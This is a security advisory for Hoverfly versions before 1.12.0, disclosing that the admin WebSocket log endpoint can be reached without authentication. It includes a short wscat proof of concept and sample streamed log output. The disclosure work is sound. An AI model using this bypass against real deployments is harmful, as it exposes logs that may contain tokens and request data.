GHSA-jxmr-2h4q-rhxp WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled

• Go github.com/SpectoLabs/hoverfly: < 1.12.0 → fixed in 1.12.0

Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can: • Stream real-time application logs (information disclosure). • Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. PoC 1. Start Hoverfly with authentication enabled: ``` ./hoverfly -auth ``` 2. Confirm REST API requires credentials: ``` curl -i http://localhost:8888/api/v2/hoverfly/version ``` 3. Connect to the WebSocket endpoint without credentials: ``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) … logs stream immediately … (You would need to send a message to start receiving stream) ``` ``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) > hi! < {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]} < ... < ... ``` Impact Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.
